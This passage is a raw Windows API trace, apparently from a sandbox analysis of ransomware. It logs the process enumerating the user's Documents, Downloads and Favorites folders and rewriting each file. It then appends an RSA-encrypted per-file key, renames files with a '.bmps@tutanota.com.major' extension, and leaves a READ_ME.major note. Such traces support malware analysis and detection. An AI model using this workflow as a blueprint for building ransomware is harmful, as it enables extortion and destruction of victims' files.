(lpExistingFileName="\\Users\\FD1HVy\\Documents\\1xl5-3NM9-VoJ7UoNhJ.docx" (normalized: "c:\\users\\fd1hvy\\documents\\1xl5-3nm9-voj7uonhj.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\1xl5-3NM9-VoJ7UoNhJ.docx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\1xl5-3nm9-voj7uonhj.docx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.660] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0147.660] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.660] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0147.660] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0147.660] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0147.660] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0147.660] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.660] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\1lz3gxaeg n2ewwWuC6.xlsx", dwFileAttributes=0x80) returned 1 [0147.660] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0147.660] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0147.661] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0147.661] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\1lz3gxaeg n2ewwWuC6.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\1lz3gxaeg n2ewwwuc6.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0147.661] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=10210) returned 1 [0147.661] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x27e2) returned 0x631898 [0147.661] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x27e2) returned 0x634088 [0147.661] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0x27e2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x27e2, lpOverlapped=0x0) returned 1 [0147.662] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-10210, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.662] WriteFile (in: hFile=0x5e8, lpBuffer=0x634088*, nNumberOfBytesToWrite=0x27e2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x634088*, lpNumberOfBytesWritten=0x2e3f9b4*=0x27e2, lpOverlapped=0x0) returned 1 [0147.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0147.662] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x634088 | out: hHeap=0x570000) returned 1 [0147.662] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x27e2 [0147.662] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.662] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.663] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.663] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.663] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.663] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.663] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="MH6IIRV0ren1d3XIokFCN3eVmfWvvbJaRRs9blQkuglI+aX7oufkYAYoebo5HrP4\n4fOu4hSDpM9vEbAzluHN1pe569DAiLSTKUnxGjOUIlQ3zX5FPnmtP/9X0RSSCed3\nc78BIUzNcYD4OAcIS5jrxG6HGor9uOdaK5KnvGs1HyTHMOQSBIL+dAIFJZwcS3y7\nPuXqjoMYTz3qJ6IARAXLRmBEjBuhCQhr90gOlnZS3LM5bRTZLVEmd8VBCFxLKZtL\nuW7x3B8zTVC9tZ1WVr+pXhS7G4KFZD6VlRMD+K9rT9he6I4YRRH/PKaREs+Vkemt\nVjxYMIb86flYJ9kW328gjA==\n", pcchString=0x2e3f9a8) returned 1 [0147.663] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.663] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.663] WriteFile (in: hFile=0x5e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.663] CloseHandle (hObject=0x5e8) returned 1 [0147.664] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.664] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\1lz3gxaeg n2ewwWuC6.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\1lz3gxaeg n2ewwwuc6.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\1lz3gxaeg n2ewwWuC6.xlsx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\1lz3gxaeg n2ewwwuc6.xlsx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.665] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0147.665] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0147.665] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0147.665] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd9e8 | out: hHeap=0x570000) returned 1 [0147.665] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0147.665] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0147.665] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0147.665] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.665] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Downloads\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60e8a8 [0147.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0147.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0147.666] GetLastError () returned 0x0 [0147.666] SetLastError (dwErrCode=0x0) [0147.666] GetLastError () returned 0x0 [0147.666] SetLastError (dwErrCode=0x0) [0147.666] GetLastError () returned 0x0 [0147.666] SetLastError (dwErrCode=0x0) [0147.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0147.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0147.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0147.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eaa8 [0147.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eaa8 | out: hHeap=0x570000) returned 1 [0147.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0147.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0147.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0147.666] FindNextFileW (in: hFindFile=0x60e8a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0147.666] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0147.666] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0147.666] GetLastError () returned 0x0 [0147.667] SetLastError (dwErrCode=0x0) [0147.667] GetLastError () returned 0x0 [0147.667] SetLastError (dwErrCode=0x0) [0147.667] GetLastError () returned 0x0 [0147.667] SetLastError (dwErrCode=0x0) [0147.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0147.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0147.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0147.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eaa8 [0147.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eaa8 | out: hHeap=0x570000) returned 1 [0147.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0147.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0147.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0147.667] FindNextFileW (in: hFindFile=0x60e8a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0147.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0147.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0147.667] GetLastError () returned 0x0 [0147.667] SetLastError (dwErrCode=0x0) [0147.667] GetLastError () returned 0x0 [0147.667] SetLastError (dwErrCode=0x0) [0147.667] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0147.667] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0147.667] GetLastError () returned 0x0 [0147.668] SetLastError (dwErrCode=0x0) [0147.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0147.668] FindNextFileW (in: hFindFile=0x60e8a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0147.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0147.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0147.668] GetLastError () returned 0x0 [0147.668] SetLastError (dwErrCode=0x0) [0147.668] GetLastError () returned 0x0 [0147.668] SetLastError (dwErrCode=0x0) [0147.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0147.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0147.668] GetLastError () returned 0x0 [0147.668] SetLastError (dwErrCode=0x0) [0147.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.668] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.668] FindNextFileW (in: hFindFile=0x60e8a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0147.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0147.668] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.668] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0147.668] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Downloads\\desktop.ini", dwFileAttributes=0x80) returned 1 [0147.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0147.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0147.669] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0147.669] CreateFileW (lpFileName="\\Users\\FD1HVy\\Downloads\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec [0147.669] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=282) returned 1 [0147.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11a) returned 0x57eca8 [0147.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11a) returned 0x5c1ce8 [0147.669] ReadFile (in: hFile=0x5ec, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x11a, lpOverlapped=0x0) returned 1 [0147.670] SetFilePointer (in: hFile=0x5ec, lDistanceToMove=-282, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.670] WriteFile (in: hFile=0x5ec, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11a, lpOverlapped=0x0) returned 1 [0147.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0147.670] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.670] SetFilePointer (in: hFile=0x5ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11a [0147.671] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.671] WriteFile (in: hFile=0x5ec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.671] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0147.671] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0147.671] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0147.671] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0147.671] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="2eZeQesDWzTvFSmvmIvHIO9mmlffCCkFSL+62M4corfJDv3GDMHCuzA3h4Xi1jYu\n9hlEDgrJAvOq4sYSz7xMftwAKK6VnGNGL0Y25WIRl9j/Lsc9awxRHXOh6VFUodw6\n9jUSWphRYoIWV2DlxVJbmZZdy73mO5YFzY7wYQh00A5Tp/g0ccdpMhCvCxypyYie\nAzsTdwsbWgujn1r9ZMxq42c2jphmCMMqABC8uZntnrcF+6mzFl29zTppVo7QP2G8\n5QH61OQ0z/sdfGW6I76bUq2AhIutCjmUoFE+gNZ5Au5usGDd9xjqGKnfXefGXy+Y\n/8PNZCY2UucKW1I+SaEOCA==\n", pcchString=0x2e3f9a8) returned 1 [0147.671] WriteFile (in: hFile=0x5ec, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0147.671] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0147.672] WriteFile (in: hFile=0x5ec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0147.672] CloseHandle (hObject=0x5ec) returned 1 [0147.672] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0147.672] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Downloads\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Downloads\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\downloads\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0147.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0147.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0147.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0147.674] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0147.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0147.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0147.674] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0147.674] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Favorites\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ebe8 [0147.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0147.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0147.675] GetLastError () returned 0x0 [0147.675] SetLastError (dwErrCode=0x0) [0147.675] GetLastError () returned 0x0 [0147.675] SetLastError (dwErrCode=0x0) [0147.675] GetLastError () returned 0x0 [0147.675] SetLastError (dwErrCode=0x0) [0147.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e8c8 [0147.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0147.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0147.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eaa8 [0147.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eaa8 | out: hHeap=0x570000) returned 1 [0147.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0147.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0147.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e8c8 | out: hHeap=0x570000) returned 1 [0147.675] FindNextFileW (in: hFindFile=0x60ebe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd4499d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x152842a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0147.675] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0147.675] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0147.675] GetLastError () returned 0x0 [0147.675] SetLastError (dwErrCode=0x0) [0147.675] GetLastError () returned 0x0 [0147.675] SetLastError (dwErrCode=0x0) [0147.675] GetLastError () returned 0x0 [0147.676] SetLastError (dwErrCode=0x0) [0147.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0147.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0147.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0147.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0147.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60eaa8 [0147.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60eaa8 | out: hHeap=0x570000) returned 1 [0147.676] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0147.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0147.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0147.676] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0147.676] FindNextFileW (in: hFindFile=0x60ebe8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43598c8e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x43b9f870, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x43b9f870, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Bing.url", cAlternateFileName="")) returned 1 [0147.676] HeapFree (in: 